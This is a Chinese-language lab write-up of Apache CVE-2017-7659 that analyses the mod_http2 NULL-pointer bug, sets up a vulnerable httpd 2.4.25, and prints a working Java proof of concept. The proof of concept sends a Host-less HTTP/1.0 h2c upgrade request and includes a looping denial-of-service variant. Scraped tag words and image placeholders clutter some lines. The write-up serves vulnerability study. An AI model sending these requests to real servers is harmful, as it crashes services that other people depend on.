Apache CVE-2017-7659 漏洞重現及利用分析

1、實驗原理介紹

apache在其網站發佈的安全公告,針對CVE-2017-7659漏洞的介紹是這樣的:html

A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.

能夠看到這是apache WEB服務器(httpd)中的一個HTTP 2.0協議處理的漏洞。java

有漏洞的服務器源碼下載連接:https://archive.apache.org/di...
經過補丁的修改進行漏洞成因的逆向分析。首先查看漏洞函數h2_stream_set_request_rec,發現是調用h2_request_rcreat建立http 2.0請求的數據結構req,h2_request_rcreat執行失敗時req爲空,此時在日誌函數ap_log_rerror中直接解引用req致使進程崩潰:linux

clipboard.png

繼續查看函數h2_request_rcreate,看到首先會把req置爲0,而後判斷4個變量r->method,scheme,r->hostname,path,任何一個爲空則返回失敗,而此時req仍是0,就會致使進程崩潰:sql

clipboard.png

那麼這4個變量是哪個爲空致使的漏洞呢?scheme是先判斷了是否爲空再賦值的,首先排除;path是從r->parsed_uri中解析出來,解析函數apr_uri_unparse在其它地方有屢次使用,直覺path也不會爲空;r->method保存請求的方法字段,在HTTP請求中必須存在,所以也不該該爲空;所以只有r->hostname,保存請求的主機名,也就是域名,可能爲空。apache

咱們知道,HTTP請求中,有2個地方能夠表示主機名:
1) 請求的路徑以完整URL方式表示,URL中包含主機名,例如GET http://www.example.com/ HTTP/1.1,這裏主機名就是 www.example.com。服務器中是在ap_parse_uri函數中解析這種主機名的
2) 在Host請求頭中包含主機名,例如:
GET / HTTP/1.1
Host: www.example.com瀏覽器

服務器中是在fix_hostname函數中解析這種主機名的分別審計ap_parse_uri和fix_hostname函數,發現若是請求中沒有Host頭,那麼r->hostname確實是空。可是服務器也考慮到了這種狀況,在ap_read_request函數中作了判斷:安全

clipboard.png
這裏的判斷邏輯,若是知足下面2個條件之一服務器

1) r->hostname爲空,且請求的HTTP版本大於等於1.1
2) 沒有Host頭,且請求的HTTP版本等於1.1
就會馬上回復400狀態碼的錯誤頁面,並不會觸發後面的漏洞。在註釋裏也說明了,HTTP/1.1的RFC2616的14.23節中明確指明, HTTP/1.1請求必須包含Host頭。

可是,HTTP還有1.0版本,且HTTP/1.0和HTTP/1.1的處理流程同樣,雖然HTTP/1.0確實沒有規定請求必須包含Host頭。所以HTTP/1.0請求是能夠沒有Host頭的,程序會一直按照流程執行,最終執行到h2_stream_set_request_rec函數,此時r->hostname爲空,從而觸發漏洞。網絡

綜合上面的分析,該漏洞利用成功須要以下條件:數據結構

1) 服務器支持HTTP/2
2) 請求是HTTP/1.0版本
3) 請求中沒有Host頭

2、環境配置介紹

1)、實驗的環境CentOS 7,2.4.25版本的Apache Httpd服務器

2)、Apache的安裝前的準備工做

安裝Sqllite
# wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz
# tar zxf sqlite-autoconf-3080704.tar.gz
# cd sqlite-autoconf-3080704
# ./configure --prefix=/usr/local/sqlite-3.8.7.4
# make && make install

安裝apr
# wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr-1.5.2
# make && make install

安裝apr-util
# wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2
# make && make install

安裝nghttp2
# wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz
# tar zxf nghttp2-1.38.0.tar.gz
# cd nghttp2-1.38.0
# ./configure --prefix=/usr/local/nghttp2-1.38.0
# make && make install

# 最後安裝2.4.25版本的Apache服務器
# cd /usr/local/src
# wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz
# cd httpd-2.4.25
# ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2  --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0  --enable-http2  --enable-dav  --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4
# make && make install
# cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default
# ln -s /usr/local/apache-2.4.25/  /usr/local/apache

3)、修改配置文件httpd.conf,並測試Apache是否能運行

一、設置服務器監聽的端口

clipboard.png

二、Apache服務器的IP和端口

clipboard.png

三、添加支持Http2.0的module

clipboard.png

clipboard.png
若是提示說沒有mod_http2.so,可使用下面的命令編譯生成

/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下載的源碼modules文件夾那裏執行
四、設置日誌級別爲debug,不然後續漏洞復現不了,由於若是不是debug級別,不會執行漏洞函數

clipboard.png

五、啓動服務器

clipboard.png

clipboard.png

至此,實驗的環境已經搭建好。

3、實驗過程詳細介紹

1. 首先起一個單一進程的apache httpd服務,方便驗證進程崩潰後的效果

clipboard.png

訪問瀏覽器: 正常訪問

clipboard.png

二、編寫Java程序,發送惡意請求

嘗試發送漏洞請求過去,觸發服務器的漏洞函數

clipboard.png

public class HttpTest extends Thread{

    public void createSocket() {

    }

    public void communcate() throws IOException {
        // 注意這裏必須制定請求方式 地址 注意空格
        Socket socket = new Socket("192.168.179.112", 8888);
        OutputStream os = socket.getOutputStream();
        InputStream is = socket.getInputStream();
        StringBuffer sb = new StringBuffer("GET / HTTP/1.0\r\n");
        // 如下爲請求頭
        sb.append("User-Agent: curl/7.50.1\r\n");
        //sb.append("Host: 39.108.122.247\r\n");
        sb.append("Accept: */*\r\n");
        sb.append("Connection: Upgrade, HTTP2-Settings\r\n");
        sb.append("Upgrade: h2c\r\n");
        sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n");
        //sb.append("Content-Length: 2\r\n");
        // 注意這裏要換行結束請求頭
        sb.append("\r\n");
        System.out.println(sb.toString());
        try {
            os.write(sb.toString().getBytes());
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            /*byte[] bytes = new byte[1024];
            int len = -1;
            int i =0 ;
            while ((len = is.read(bytes)) != -1) {
                    baos.write(bytes, 0, len);
            }
            System.out.println(new String(baos.toByteArray()));
            */
            socket.close();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    @Override
    public void run() {
        createSocket();
        // Dos攻擊
        /*while (true) {
            try {
                communcate();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }*/


        try {
            communcate();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    /*
    GET / HTTP/1.1
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload>
     */

    public static void main(String[] args) {
//        for(int i =0; i<100 ;++i) {
            HttpTest client = new HttpTest();
            client.start();
//        }
    }
}





漏洞成功復現:

clipboard.png


此時瀏覽器也訪問不了

clipboard.png

三、若是是多進程的apache httpd服務

clipboard.png
當worker進程崩潰時,apache會自動啓動新的worker進程。那麼在真實的網絡環境中,黑客會如何利用此漏洞對服務器進行攻擊呢?
修改上面的Java代碼,發送Dos攻擊

clipboard.png


apache 服務器所有worker進程都崩潰了!

clipboard.png

4、實驗總結

這個實驗的難點是分析漏洞的發生緣由、實驗環境的配置。首先,在linux上安裝Apache Http 2.4.25這個版本的服務器,參考網上的一些教程安裝,發現過程是不全的,只能靠本身去根據控制檯打印的錯誤日誌去找緣由,爲了讓Apache服務器支持Http2.0,mod_http2.so這個module一直報錯,後來安裝配置了nghttp2從新編譯才能成功開啓服務器。安裝好實驗環境後,寫了一段Java程序去驗證,發送Http1.0的請求而且不帶Host消息頭,一開始建立了1000個線程發送1000個「惡意請求」,發現Apache服務器並無宕機,百思不得其解,調了一個下午都沒有成功,在隊友的電腦也是這樣的問題。以後不斷地查閱資料,而且嘗試去看源碼,發現須要在配置文件裏面設置日誌級別爲debug纔會觸發漏洞,默認是info級別,這點在官網上並無描述,這個服務器若是是沒有設置爲debug級別是不會執行漏洞函數的,解決了這個大坑以後,服務器終於崩潰(出現了Segmentation fault這個段異常,即內部有空指針異常),可是Apache有保護機制,當worker進程崩潰時,apache會自動啓動新的worker進程。咱們編寫了的程序,同時發起多個畸形請求,以不斷觸發後臺worker崩潰,並讓apache服務器不斷陷入從新分配worker的處理之中。基於漏洞發生的場景能夠得出,解決這個漏洞的關鍵是就是增長了對h2_request_rcreate函數返回值的判斷便可。

參考連接: https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...
相關文章
相關標籤/搜索